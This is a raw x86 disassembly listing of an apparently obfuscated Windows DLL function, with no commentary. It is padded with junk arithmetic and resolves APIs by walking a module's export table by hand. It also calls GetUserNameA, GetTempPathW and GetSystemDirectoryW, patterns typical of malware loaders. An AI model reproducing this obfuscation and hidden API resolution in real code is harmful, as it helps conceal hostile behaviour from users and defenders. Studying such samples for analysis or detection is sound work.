jmp 0x100067ef
mov edx, dword [ebp - 0x3c]
add edx, dword [0x1004a15c]
je 0x100067ef
mov eax, dword [0x1004a168]
mov ecx, dword [0x1004a16c]
add eax, 1
adc ecx, 0
mov dword [0x1004a168], eax
mov dword [0x1004a16c], ecx
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x40]
sub edx, dword [ebp - 0x38]
sbb eax, dword [ebp - 0x34]
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x40], eax
mov cx, word [ebp + 0xc]
mov word [ebp - 0x78], cx
mov dword [0x1004a128], 0xe2a896b0
movzx edx, byte [0x1004a0bc]
movzx eax, byte [ebp - 3]
add eax, dword [0x1004a128]
cmp edx, eax
jne 0x10006880
mov ecx, dword [ebp - 0x5c]
add ecx, 0xfbab4679
mov dword [ebp - 0x3c], ecx
mov ecx, dword [0x1004a154]
xor esi, esi
movsx eax, byte [ebp - 1]
cdq
add eax, 0x153f8d4
adc edx, 0xc831b
mov dword [ebp - 0x368], ecx
mov dword [ebp - 0x364], esi
mov dword [ebp - 0x370], eax
mov dword [ebp - 0x36c], edx
mov edx, dword [ebp - 0x368]
cmp edx, dword [ebp - 0x370]
jne 0x10006880
mov eax, dword [ebp - 0x364]
cmp eax, dword [ebp - 0x36c]
jne 0x10006880
mov dword [ebp - 0x3c], 9
jmp 0x100067f7
mov edx, dword [ebp - 0x128]
sub edx, dword [ebp - 0x128]
mov eax, 0x220
sub eax, dword [ebp - 0x12c]
add edx, eax
mov ecx, dword [ebp - 0x12c]
or ecx, dword [ebp - 0x2a0]
cmp edx, ecx
je 0x10008e7b
push 0
push 0
call fcn.10024090
add esp, 8
mov byte [0x1004a06b], al
mov edx, dword [0x1004a130]
mov eax, dword [0x1004a134]
mov dword [ebp - 0x378], edx
mov dword [ebp - 0x374], eax
mov ecx, dword [ebp - 0x378]
or ecx, dword [ebp - 0x374]
je 0x10006984
movzx eax, word [0x1004a0cc]
cdq
push edx
push eax
mov edx, dword [0x1004a0d4]
push edx
mov eax, dword [0x1004a0d0]
push eax
call fcn.1002e960
mov dword [ebp - 0x380], eax
mov dword [ebp - 0x37c], edx
mov ecx, dword [ebp - 0x380]
or ecx, dword [ebp - 0x37c]
jne 0x10006929
mov dword [ebp - 0x130], 1
jmp 0x10006933
mov dword [ebp - 0x130], 0
mov edx, dword [0x1004a154]
or edx, dword [ebp - 0x130]
jne 0x10006955
xor eax, eax
mov dword [ebp - 0x388], 1
mov dword [ebp - 0x384], eax
jmp 0x10006960
xorps xmm0, xmm0
movlpd qword [ebp - 0x388], xmm0
mov ecx, dword [ebp - 0x3c]
not ecx
sub ecx, 0x7925f28e
mov eax, dword [0x1004a144]
cdq
add eax, dword [ebp - 0x5c]
add ecx, eax
sub ecx, dword [ebp - 0x388]
mov dword [0x1004a148], ecx
jmp 0x100069a6
cmp dword [0x1004a190], 0
je 0x100069a6
mov dword [0x1004a144], 0x64
mov edx, 0x48d83
mov dword [ebp - 0x38], 0x13c2e203
mov dword [ebp - 0x34], edx
cmp dword [ebp + 8], 0
je 0x10008e7b
push 0
push 0
push 0
push 0x82
call fcn.10024ee0
add esp, 0x10
movzx ax, al
mov word [0x1004a100], ax
movsx ecx, word [0x1004a100]
test ecx, ecx
je 0x100069ef
mov edx, dword [ebp - 0x54]
add edx, 0x639daf46
mov eax, dword [0x1004a0c8]
add eax, edx
mov dword [0x1004a0c8], eax
jmp 0x100069f8
mov ecx, dword [0x1004ac78]
mov dword [ebp - 0x24], ecx
mov edx, 0x6b600
mov dword [str.J64_], 0x1d8f0c12
mov dword [0x1004a13c], edx
mov eax, dword [0x1004a148]
cdq
mov ecx, eax
mov esi, edx
movsx eax, word [ebp - 0x14]
cdq
add eax, dword [str.J64_]
adc edx, dword [0x1004a13c]
mov dword [ebp - 0x390], ecx
mov dword [ebp - 0x38c], esi
mov dword [ebp - 0x398], eax
mov dword [ebp - 0x394], edx
mov edx, dword [ebp - 0x390]
cmp edx, dword [ebp - 0x398]
jne 0x10006c2b
mov eax, dword [ebp - 0x38c]
cmp eax, dword [ebp - 0x394]
jne 0x10006c2b
mov dword [ebp - 0x2a4], 0x104
lea ecx, [ebp - 0x2a4]
push ecx
lea edx, [ebp - 0x768]
push edx
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
xor ecx, ecx
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], ecx
mov edx, dword [0x1004a0e8]
not edx
mov eax, dword [0x1004a0ec]
not eax
mov dword [ebp - 0x3a0], edx
mov dword [ebp - 0x39c], eax
mov ecx, dword [ebp - 0x3a0]
or ecx, dword [ebp - 0x39c]
je 0x10006ad0
mov edx, dword [0x1004ac78]
mov dword [ebp - 0x4c], edx
mov eax, dword [0x1004a108]
add eax, 0xd2
mov byte [0x1004a092], al
jmp 0x10006bab
cmp dword [ebp - 0x4c], 0
je 0x10006bab
movzx ecx, word [0x1004a0cc]
test ecx, ecx
jne 0x10006af1
mov dword [ebp - 0x134], 1
jmp 0x10006afb
mov dword [ebp - 0x134], 0
mov edx, dword [0x1004a178]
not edx
xor edx, dword [ebp - 0x134]
jne 0x10006b17
mov dword [ebp - 0x138], 1
jmp 0x10006b21
mov dword [ebp - 0x138], 0
movzx eax, word [ebp - 0x10]
test eax, eax
jne 0x10006b35
mov dword [ebp - 0x13c], 1
jmp 0x10006b3f
mov dword [ebp - 0x13c], 0
movzx ecx, byte [0x1004a06b]
not ecx
add ecx, dword [0x1004a158]
jne 0x10006b64
xor edx, edx
mov dword [ebp - 0x21c], 1
mov dword [ebp - 0x218], edx
jmp 0x10006b6f
xorps xmm0, xmm0
movlpd qword [ebp - 0x21c], xmm0
mov eax, dword [ebp - 0x138]
imul eax, dword [ebp - 0x13c]
cdq
mov esi, eax
movzx eax, byte [ebp - 3]
cdq
mov ecx, dword [ebp - 0x44]
mov edi, dword [ebp - 0x40]
sub ecx, eax
sbb edi, edx
push edi
push ecx
mov edx, dword [ebp - 0x218]
push edx
mov eax, dword [ebp - 0x21c]
push eax
call fcn.1002e960
xor esi, eax
mov dword [0x1004a140], esi
mov ecx, dword [0x1004a0f8]
mov esi, dword [0x1004a0fc]
movsx eax, byte [ebp - 1]
add eax, 0x5b34364a
cdq
mov dword [ebp - 0x3a8], ecx
mov dword [ebp - 0x3a4], esi
mov dword [ebp - 0x3b0], eax
mov dword [ebp - 0x3ac], edx
mov edx, dword [ebp - 0x3a8]
cmp edx, dword [ebp - 0x3b0]
jne 0x10006c2b
mov eax, dword [ebp - 0x3a4]
cmp eax, dword [ebp - 0x3ac]
jne 0x10006c2b
mov ecx, dword [ebp - 0x44]
mov edx, dword [ebp - 0x40]
mov dword [ebp - 0x560], edx
add ecx, 0xae8b3fdd
mov byte [ebp - 1], cl
jmp 0x100069f8
push 0xffffffffffffffba
push 0x69
push 0
movzx edx, byte [0x1004a144]
push edx
push 0
call fcn.100248f0
add esp, 0x14
movsx eax, al
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x10006d08
movsx eax, word [0x1004a100]
cdq
mov dword [ebp - 0x3b8], eax
mov dword [ebp - 0x3b4], edx
mov ecx, dword [ebp - 0x3b4]
cmp ecx, dword [ebp - 0x58]
jb 0x10006c8b
ja 0x10006c7f
mov edx, dword [ebp - 0x3b8]
cmp edx, dword [ebp - 0x5c]
jbe 0x10006c8b
mov dword [ebp - 0x140], 1
jmp 0x10006c95
mov dword [ebp - 0x140], 0
movsx eax, word [0x1004a100]
cmp eax, 0x61
jle 0x10006cad
mov dword [ebp - 0x144], 1
jmp 0x10006cb7
mov dword [ebp - 0x144], 0
mov ecx, dword [ebp - 0x140]
cmp ecx, dword [ebp - 0x144]
jne 0x10006ce5
movzx eax, byte [0x1004a0bc]
cdq
add eax, 0xd4d2a4e0
adc edx, 0xb857d
mov dword [0x1004a0e8], eax
mov dword [0x1004a0ec], edx
jmp 0x10006d08
cmp dword [0x1004a128], 0
je 0x10006d08
mov dx, word [0x1004ac78]
mov word [ebp - 0x20], dx
imul eax, dword [0x1004a140], 0x47c76fa3
mov byte [0x1004a056], al
mov ecx, dword [0x1004ac78]
mov dword [ebp - 0xa8], ecx
mov ecx, 9
mov esi, str.InitializeCritical
lea edi, [ebp - 0x63c]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edx, [ebp - 0x63c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [0x1004a144], eax
mov eax, dword [ebp - 0xa8]
add eax, 0xa7
mov dword [ebp - 0x564], eax
mov eax, dword [ebp - 0x30]
cdq
mov ecx, eax
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x568], eax
sub ecx, edx
mov eax, dword [ebp - 0x30]
cdq
add eax, ecx
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x30]
xor ecx, 0xf2eec058
movsx edx, word [ebp - 0x14]
sub edx, ecx
mov word [ebp - 0x14], dx
mov eax, dword [ebp - 0xa8]
add eax, 0x323
mov dword [ebp - 0x56c], eax
movsx eax, byte [0x1004a03f]
cdq
mov ecx, eax
xor ecx, 0x3966232a
movzx eax, byte [0x1004a0ba]
cdq
sub eax, ecx
mov byte [0x1004a0ba], al
mov edx, dword [ebp - 0xa8]
add edx, 0x297
mov dword [ebp - 0x2b4], edx
push 4
push 0xe4
push 0
push 0
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x570], ecx
movzx edx, ax
push edx
push 0
movzx eax, word [0x1004a120]
push eax
call fcn.10024c40
add esp, 0x1c
mov word [ebp - 8], ax
movzx ecx, word [ebp - 8]
test ecx, ecx
jl 0x10006e02
mov dword [ebp - 0x148], 1
jmp 0x10006e0c
mov dword [ebp - 0x148], 0
movzx edx, word [ebp - 8]
cmp edx, 0xf
jl 0x10006e21
mov dword [ebp - 0x14c], 1
jmp 0x10006e2b
mov dword [ebp - 0x14c], 0
mov eax, dword [ebp - 0x148]
cmp eax, dword [ebp - 0x14c]
jle 0x10006e54
mov cx, word [0x1004ac78]
mov word [0x1004a0cc], cx
mov edx, dword [ebp - 0x24]
shr edx, 2
mov word [0x1004a120], dx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x3c]
add ecx, dword [ebp + 8]
mov dword [ebp - 0x2a8], ecx
mov eax, dword [0x1004a148]
cdq
mov dword [ebp - 0x3c0], eax
mov dword [ebp - 0x3bc], edx
mov edx, dword [ebp - 0x38]
cmp edx, dword [ebp - 0x3c0]
jne 0x10006e97
mov eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x3bc]
jne 0x10006e97
mov dword [ebp - 0x150], 1
jmp 0x10006ea1
mov dword [ebp - 0x150], 0
cmp dword [ebp - 0x38], 0x12
jne 0x10006eb9
cmp dword [ebp - 0x34], 0
jne 0x10006eb9
mov dword [ebp - 0x154], 1
jmp 0x10006ec3
mov dword [ebp - 0x154], 0
mov edx, dword [ebp - 0x2a8]
mov eax, dword [edx + 0x78]
add eax, dword [ebp + 8]
mov dword [ebp - 0x6c], eax
push 0x1003b278
movsx ecx, word [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x574], eax
cmp dword [0x1004a110], 0
je 0x10006f57
mov edx, dword [str.Sending_request_co]
mov dword [ebp - 0x52c], edx
mov eax, dword [0x1003b28c]
mov dword [ebp - 0x528], eax
mov ecx, dword [0x1003b290]
mov dword [ebp - 0x524], ecx
mov edx, dword [0x1003b294]
mov dword [ebp - 0x520], edx
mov ax, word [0x1003b298]
mov word [ebp - 0x51c], ax
mov cl, byte [0x1003b29a]
mov byte [ebp - 0x51a], cl
lea edx, [ebp - 0x52c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cdq
mov dword [0x1004a188], eax
mov dword [0x1004a18c], edx
jmp 0x1000707e
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x3c8], eax
mov dword [ebp - 0x3c4], ecx
mov edx, dword [ebp - 0x3c8]
or edx, dword [ebp - 0x3c4]
jne 0x10006f83
mov dword [ebp - 0x158], 1
jmp 0x10006f8d
mov dword [ebp - 0x158], 0
mov eax, dword [ebp - 0x158]
cmp eax, dword [ebp - 0x60]
jne 0x10006fa4
mov dword [ebp - 0x15c], 1
jmp 0x10006fae
mov dword [ebp - 0x15c], 0
mov ecx, dword [ebp - 0x24]
not ecx
sub ecx, dword [ebp - 0x68]
not ecx
or ecx, dword [ebp - 0x15c]
je 0x10006fd8
movsx edx, byte [str.address_family_not]
add edx, 0xb5f1
mov byte [0x1004a0ba], dl
jmp 0x1000707e
mov eax, dword [ebp - 0x68]
not eax
cdq
mov ecx, dword [0x1004a188]
mov esi, dword [0x1004a18c]
mov dword [ebp - 0x3d0], eax
mov dword [ebp - 0x3cc], edx
mov dword [ebp - 0x3d8], ecx
mov dword [ebp - 0x3d4], esi
mov edx, dword [ebp - 0x3cc]
cmp edx, dword [ebp - 0x3d4]
jb 0x1000702c
ja 0x10007020
mov eax, dword [ebp - 0x3d0]
cmp eax, dword [ebp - 0x3d8]
jb 0x1000702c
mov dword [ebp - 0x160], 1
jmp 0x10007036
mov dword [ebp - 0x160], 0
movsx ecx, byte [0x1004a092]
add ecx, dword [ebp - 0x50]
cmp ecx, dword [ebp - 0x160]
ja 0x10007054
mov dword [ebp - 0x164], 1
jmp 0x1000705e
mov dword [ebp - 0x164], 0
mov edx, dword [ebp - 0x164]
not edx
test edx, edx
je 0x1000707e
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x578], ecx
sub eax, 0xac
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x6c]
mov ecx, dword [eax + 0x20]
add ecx, dword [ebp + 8]
mov dword [ebp - 0x2c8], ecx
mov edx, dword [ebp - 0x6c]
mov eax, dword [edx + 0x24]
add eax, dword [ebp + 8]
mov dword [ebp - 0x2cc], eax
movzx ecx, word [ebp - 8]
test ecx, ecx
jne 0x100070b8
xor edx, edx
mov dword [ebp - 0x224], 1
mov dword [ebp - 0x220], edx
jmp 0x100070c3
xorps xmm0, xmm0
movlpd qword [ebp - 0x224], xmm0
mov eax, dword [0x1004a154]
xor ecx, ecx
mov edx, dword [ebp - 0x44]
mov esi, dword [ebp - 0x40]
sub edx, dword [ebp - 0x224]
sbb esi, dword [ebp - 0x220]
not edx
not esi
mov dword [ebp - 0x3e0], eax
mov dword [ebp - 0x3dc], ecx
mov dword [ebp - 0x3e8], edx
mov dword [ebp - 0x3e4], esi
mov eax, dword [ebp - 0x3dc]
cmp eax, dword [ebp - 0x3e4]
jg 0x100071df
jl 0x1000711e
mov ecx, dword [ebp - 0x3e0]
cmp ecx, dword [ebp - 0x3e8]
ja 0x100071df
movzx edx, word [0x1004a144]
push edx
movzx ax, byte [0x1004a06b]
movzx ecx, ax
push ecx
movzx edx, word [ebp - 0x14]
push edx
push 0
movzx eax, word [0x1004a0cc]
push eax
movzx ecx, word [0x1004a158]
push ecx
push 0
call fcn.10024c40
add esp, 0x1c
mov word [ebp - 0x18], ax
movsx edx, word [ebp - 0x18]
test edx, edx
jne 0x1000716b
mov dword [ebp - 0x168], 1
jmp 0x10007175
mov dword [ebp - 0x168], 0
movsx eax, word [ebp - 0x18]
cmp eax, 0x31
jne 0x1000718a
mov dword [ebp - 0x16c], 1
jmp 0x10007194
mov dword [ebp - 0x16c], 0
mov ecx, dword [ebp - 0x168]
cmp ecx, dword [ebp - 0x16c]
jne 0x100071b4
mov dword [ebp - 0x50], 0x446f9e82
mov edx, dword [0x1004a154]
mov dword [ebp - 0x68], edx
jmp 0x100071dd
movzx eax, word [0x1004a0cc]
test eax, eax
jne 0x100071dd
mov ecx, dword [0x1004a0e0]
mov edx, dword [0x1004a0e4]
sub ecx, 1
sbb edx, 0
mov dword [0x1004a0e0], ecx
mov dword [0x1004a0e4], edx
jmp 0x100071e7
mov ax, word [ebp - 8]
mov word [ebp - 0x20], ax
mov ecx, dword [ebp - 0x6c]
mov edx, dword [ecx + 0x1c]
add edx, dword [ebp + 8]
mov dword [ebp - 0x280], edx
mov eax, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0x6c]
mov edx, dword [eax + 0x18]
cmp edx, dword [ecx + 0x14]
jbe 0x10007636
mov byte [0x1004a056], 0xd4
movzx eax, byte [0x1004a056]
cdq
mov ecx, dword [ebp - 0x2c]
mov esi, dword [ebp - 0x28]
add ecx, 1
adc esi, 0
mov dword [ebp - 0x3f0], eax
mov dword [ebp - 0x3ec], edx
mov dword [ebp - 0x3f8], ecx
mov dword [ebp - 0x3f4], esi
mov edx, dword [ebp - 0x3f0]
cmp edx, dword [ebp - 0x3f8]
jne 0x100075fb
mov eax, dword [ebp - 0x3ec]
cmp eax, dword [ebp - 0x3f4]
jne 0x100075fb
mov dword [ebp - 0xac], 0x20
movsx ecx, byte [0x1004a092]
not ecx
mov edx, dword [ebp - 0x24]
sub edx, ecx
jne 0x1000728d
xor eax, eax
mov dword [ebp - 0x22c], 1
mov dword [ebp - 0x228], eax
jmp 0x10007298
xorps xmm0, xmm0
movlpd qword [ebp - 0x22c], xmm0
mov ecx, dword [ebp - 0x22c]
mov edx, dword [ebp - 0x228]
mov dword [0x1004a0d0], ecx
mov dword [0x1004a0d4], edx
mov ax, word [0x1004ac78]
mov word [ebp - 8], ax
mov ecx, dword [0x1004a0f8]
mov edx, dword [0x1004a0fc]
sub ecx, 1
sbb edx, 0
mov dword [0x1004a0f8], ecx
mov dword [0x1004a0fc], edx
mov eax, 4
imul ecx, eax, 0x7ac9
xor edx, edx
mov eax, dword [0x1004a170]
sub eax, dword [ecx + 0x101bda38]
mov ecx, dword [0x1004a174]
sbb ecx, edx
mov dword [0x1004a170], eax
mov dword [0x1004a174], ecx
mov edx, dword [ebp - 0xac]
add edx, 1
mov dword [ebp - 0xac], edx
cmp dword [ebp - 0xac], 0x2336
jl 0x100072ba
movzx eax, word [0x1004a0f0]
cmp eax, 1
jne 0x100075fb
mov ecx, dword [ebp - 0x24]
xor edx, edx
mov eax, dword [0x1004a168]
mov esi, dword [0x1004a16c]
mov dword [ebp - 0x400], ecx
mov dword [ebp - 0x3fc], edx
mov dword [ebp - 0x408], eax
mov dword [ebp - 0x404], esi
mov ecx, dword [ebp - 0x3fc]
cmp ecx, dword [ebp - 0x404]
jl 0x10007380
jg 0x10007374
mov edx, dword [ebp - 0x400]
cmp edx, dword [ebp - 0x408]
jbe 0x10007380
mov dword [ebp - 0x170], 1
jmp 0x1000738a
mov dword [ebp - 0x170], 0
cmp dword [ebp - 0x24], 8
jbe 0x1000739c
mov dword [ebp - 0x174], 1
jmp 0x100073a6
mov dword [ebp - 0x174], 0
mov eax, dword [ebp - 0x170]
cmp eax, dword [ebp - 0x174]
jl 0x10007501
movzx eax, byte [0x1004a0bb]
cdq
mov ecx, eax
mov esi, edx
xor ecx, dword [ebp - 0x5c]
xor esi, dword [ebp - 0x58]
movzx eax, word [ebp - 0x10]
not eax
cdq
or ecx, eax
or esi, edx
mov dword [ebp - 0x410], ecx
mov dword [ebp - 0x40c], esi
mov edx, dword [ebp - 0x410]
or edx, dword [ebp - 0x40c]
jne 0x100073fb
mov dword [ebp - 0x178], 1
jmp 0x10007405
mov dword [ebp - 0x178], 0
cmp dword [ebp - 0x178], 0
je 0x100074ab
mov ecx, dword [0x1004a0c8]
xor esi, esi
sub ecx, dword [ebp - 0x38]
sbb esi, dword [ebp - 0x34]
movsx eax, word [ebp - 0x18]
not eax
movsx edx, word [ebp - 0x14]
sub eax, edx
cdq
push edx
push eax
push esi
push ecx
call fcn.1002e960
mov dword [ebp - 0x418], eax
mov dword [ebp - 0x414], edx
mov eax, dword [ebp - 0x418]
or eax, dword [ebp - 0x414]
jne 0x1000745c
mov dword [ebp - 0x17c], 1
jmp 0x10007466
mov dword [ebp - 0x17c], 0
movsx ecx, word [0x1004a100]
imul edx, dword [ebp - 0x3c], 0x26
sub ecx, edx
xor ecx, dword [ebp - 0x17c]
jne 0x10007487
mov dword [ebp - 0x180], 1
jmp 0x10007491
mov dword [ebp - 0x180], 0
mov eax, dword [ebp - 0x180]
mov dword [0x1004a17c], eax
movsx ecx, word [ebp - 0x14]
add ecx, 0x18
mov dword [0x1004a110], ecx
jmp 0x100074fc
mov edx, dword [0x1004a14c]
not edx
test edx, edx
je 0x100074fc
movzx eax, byte [ebp - 3]
cdq
mov ecx, dword [0x1004a188]
mov esi, dword [0x1004a18c]
add ecx, eax
adc esi, edx
xor edx, edx
mov eax, dword [0x1004a160]
mov edi, dword [0x1004a164]
sub eax, dword [0x1004a14c]
sbb edi, edx
push edi
push eax
push esi
push ecx
call fcn.1002e960
mov ecx, eax
movzx eax, byte [0x1004a056]
cdq
add ecx, eax
mov byte [0x1004a03e], cl
jmp 0x100075cf
mov edx, dword [str.J64_]
or edx, dword [0x1004a13c]
jne 0x1000751b
mov dword [ebp - 0x184], 1
jmp 0x10007525
mov dword [ebp - 0x184], 0
movzx eax, word [ebp - 0xc]
test eax, eax
jne 0x10007541
xor ecx, ecx
mov dword [ebp - 0x234], 1
mov dword [ebp - 0x230], ecx
jmp 0x1000754c
xorps xmm0, xmm0
movlpd qword [ebp - 0x234], xmm0
mov ecx, dword [ebp - 0x234]
add ecx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x230]
adc esi, dword [ebp - 0x34]
movsx eax, byte [0x1004a03e]
cdq
sub eax, dword [str.J64_]
sbb edx, dword [0x1004a13c]
push edx
push eax
push esi
push ecx
call fcn.1002e960
mov dword [ebp - 0x420], eax
mov dword [ebp - 0x41c], edx
mov edx, dword [ebp - 0x420]
or edx, dword [ebp - 0x41c]
jne 0x100075a1
mov dword [ebp - 0x188], 1
jmp 0x100075ab
mov dword [ebp - 0x188], 0
movsx eax, byte [ebp - 1]
movzx ecx, word [ebp - 0xc]
not ecx
sub eax, ecx
add eax, dword [ebp - 0x184]
sub eax, dword [ebp - 0x188]
mov byte [ebp - 2], al
mov edx, 0x61fe
mov word [ebp - 0xc], dx
jmp 0x100075fb
mov byte [0x1004a056], 0xd4
mov dl, byte [ebp - 1]
mov byte [0x1004a03f], dl
lea eax, [ebp - 0xb78]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
xor ecx, ecx
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], ecx
mov edx, dword [ebp - 0x6c]
mov eax, dword [edx + 0x18]
mov dword [ebp - 0x1a0], eax
jmp 0x10007712
mov ecx, 0xffffd292
mov word [0x1004a120], cx
movzx eax, byte [ebp - 3]
add eax, 0xfc
cdq
mov dword [ebp - 0x428], eax
mov dword [ebp - 0x424], edx
mov edx, dword [0x1004a170]
cmp edx, dword [ebp - 0x428]
jne 0x100076cb
mov eax, dword [0x1004a174]
cmp eax, dword [ebp - 0x424]
jne 0x100076cb
movsx eax, byte [ebp - 1]
cdq
mov ecx, dword [0x1004a130]
mov esi, dword [0x1004a134]
add ecx, eax
adc esi, edx
mov dword [ebp - 0x430], ecx
mov dword [ebp - 0x42c], esi
cmp dword [ebp - 0x430], 1
jne 0x100076cb
cmp dword [ebp - 0x42c], 0
jne 0x100076cb
jmp 0x10007636
xor eax, eax
mov word [ebp - 0x10], ax
mov eax, dword [ebp - 0x3c]
cdq
push edx
push eax
mov ecx, dword [ebp - 0x58]
push ecx
mov edx, dword [ebp - 0x5c]
push edx
call fcn.1002e960
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], edx
movzx eax, word [ebp - 0x10]
mov dword [ebp - 0x2ac], eax
cmp dword [ebp - 0x2ac], 0
je 0x100076ff
jmp 0x10007706
mov dword [ebp - 0x60], 0x29
mov ecx, dword [ebp - 0x6c]
mov edx, dword [ecx + 0x14]
mov dword [ebp - 0x1a0], edx
mov eax, dword [ebp - 0x2b0]
imul eax, dword [ebp - 0x18c]
imul ecx, dword [ebp - 0x18c], 0x9f
cmp eax, ecx
je 0x10008e7b
push 0xffffffffffffffef
push 0x5b
push 0
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x57c], eax
movzx ecx, dl
push ecx
push 0
call fcn.100248f0
add esp, 0x14
mov byte [0x1004a0bb], al
movzx edx, byte [0x1004a0bb]
test edx, edx
je 0x10007763
jmp 0x100077a4
mov dword [ebp - 0x68], 0xdde1
cmp dword [0x1004a128], 0
je 0x10007787
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x23c], eax
mov dword [ebp - 0x238], ecx
jmp 0x1000779b
mov edx, dword [0x1004a104]
xor eax, eax
mov dword [ebp - 0x23c], edx
mov dword [ebp - 0x238], eax
mov ecx, dword [ebp - 0x23c]
mov dword [ebp - 0x60], ecx
movsx eax, byte [ebp - 1]
cdq
mov dword [ebp - 0x438], eax
mov dword [ebp - 0x434], edx
mov edx, dword [ebp - 0x434]
cmp edx, dword [ebp - 0x58]
jb 0x100077d9
ja 0x100077cd
mov eax, dword [ebp - 0x438]
cmp eax, dword [ebp - 0x5c]
jb 0x100077d9
mov dword [ebp - 0x190], 1
jmp 0x100077e3
mov dword [ebp - 0x190], 0
movsx ecx, byte [ebp - 1]
cmp ecx, 0x30
jl 0x100077f8
mov dword [ebp - 0x194], 1
jmp 0x10007802
mov dword [ebp - 0x194], 0
mov edx, dword [ebp - 0x190]
cmp edx, dword [ebp - 0x194]
jl 0x100078df
movzx eax, byte [0x1004a056]
test eax, eax
je 0x10007871
cmp dword [0x1004a148], 0
je 0x10007837
movsx ecx, byte [str.address_family_not]
mov dword [ebp - 0x198], ecx
jmp 0x10007844
movzx edx, byte [0x1004a0bc]
mov dword [ebp - 0x198], edx
mov eax, dword [ebp - 0x198]
cdq
mov dword [0x1004a0c0], eax
mov dword [0x1004a0c4], edx
mov eax, dword [0x1004a0c0]
mov ecx, dword [0x1004a0c4]
mov dword [ebp - 0x580], ecx
add eax, 0x7dfa8a27
mov dword [ebp - 0x50], eax
jmp 0x100078dd
cmp dword [0x1004a17c], 0
je 0x100078c5
movzx eax, byte [ebp - 3]
cdq
mov ecx, dword [0x1004a0f8]
mov esi, dword [0x1004a0fc]
not ecx
not esi
mov dword [ebp - 0x440], eax
mov dword [ebp - 0x43c], edx
mov dword [ebp - 0x448], ecx
mov dword [ebp - 0x444], esi
mov edx, dword [ebp - 0x43c]
cmp edx, dword [ebp - 0x444]
jl 0x100078dd
jg 0x100078c5
mov eax, dword [ebp - 0x440]
cmp eax, dword [ebp - 0x448]
jbe 0x100078dd
mov ecx, 4
imul edx, ecx, 9
mov eax, dword [0x1004a144]
sub eax, dword [edx + 0x101913d0]
mov dword [0x1004a144], eax
jmp 0x1000794b
mov ecx, dword [0x1004a188]
mov edx, dword [0x1004a18c]
mov dword [ebp - 0x450], ecx
mov dword [ebp - 0x44c], edx
mov eax, dword [ebp - 0x450]
or eax, dword [ebp - 0x44c]
je 0x1000794b
mov ecx, dword [0x1004a160]
mov edx, dword [0x1004a164]
mov dword [ebp - 0x584], edx
xor ecx, 0x84a6bf83
mov dword [ebp - 0x3c], ecx
cmp dword [ebp - 0x50], 0
je 0x10007935
movsx eax, byte [0x1004a03e]
mov dword [ebp - 0x19c], eax
jmp 0x1000793f
movzx ecx, byte [ebp - 3]
mov dword [ebp - 0x19c], ecx
mov dl, byte [ebp - 0x19c]
mov byte [0x1004a06b], dl
xor eax, eax
mov word [ebp - 0x48], ax
jmp 0x1000795f
mov cx, word [ebp - 0x48]
add cx, 1
mov word [ebp - 0x48], cx
movzx edx, word [ebp - 0x48]
cmp edx, dword [ebp - 0x1a0]
jae 0x10008e7b
movzx eax, word [ebp - 0xc]
movsx ecx, byte [0x1004a093]
add eax, ecx
not eax
mov dword [0x1004a144], eax
cmp dword [ebp - 0x2b4], 0xfffd5e7e
je 0x10008d79
mov dword [ebp - 0xcc], 0
jmp 0x100079ae
mov edx, dword [ebp - 0xcc]
add edx, 2
mov dword [ebp - 0xcc], edx
cmp dword [ebp - 0xcc], 0x93
jge 0x100079ef
push 0x104
lea eax, [ebp - 0xd80]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov dword [ebp - 0x30], eax
mov ecx, dword [0x1004a168]
mov edx, dword [0x1004a16c]
add ecx, 1
adc edx, 0
mov dword [0x1004a168], ecx
mov dword [0x1004a16c], edx
jmp 0x1000799f
mov eax, dword [0x1004ac78]
mov dword [ebp - 0xb4], eax
mov ecx, dword [ebp - 0xb4]
add ecx, 0xb8
mov dword [ebp - 0x1a4], ecx
mov edx, dword [ebp - 0xb4]
add edx, 0xa6
mov dword [ebp - 0x588], edx
movsx eax, byte [0x1004a03e]
test eax, eax
je 0x10007a3e
movsx ecx, byte [str.address_family_not]
movzx edx, byte [ebp - 2]
sub ecx, edx
mov dword [0x1004a17c], ecx
jmp 0x10007a55
mov eax, dword [0x1004a0e0]
mov edx, dword [0x1004a0e4]
mov cl, 3
call fcn.1002e9f0
mov dword [0x1004a140], eax
mov eax, dword [ebp - 0xb4]
add eax, 0x69
mov dword [ebp - 0x58c], eax
movsx ecx, byte [ebp - 1]
add ecx, dword [ebp - 0x68]
mov byte [ebp - 1], cl
mov edx, dword [ebp - 0x1a4]
or edx, dword [ebp - 0x1a4]
mov eax, 0x32c
sub eax, edx
mov dword [ebp - 0x2d8], eax
push 0x1003b29c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov byte [0x1004a03e], al
mov ecx, dword [0x1004ac78]
mov dword [ebp - 0xb8], ecx
mov edx, dword [ebp - 0xb8]
add edx, 0x34
mov dword [ebp - 0x594], edx
push 0x5a
push 0
push 0
push 0x25
